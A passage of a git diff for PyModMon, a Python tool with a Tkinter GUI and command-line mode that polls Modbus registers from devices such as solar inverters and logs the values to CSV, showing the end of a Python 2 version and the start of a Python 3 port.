data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + 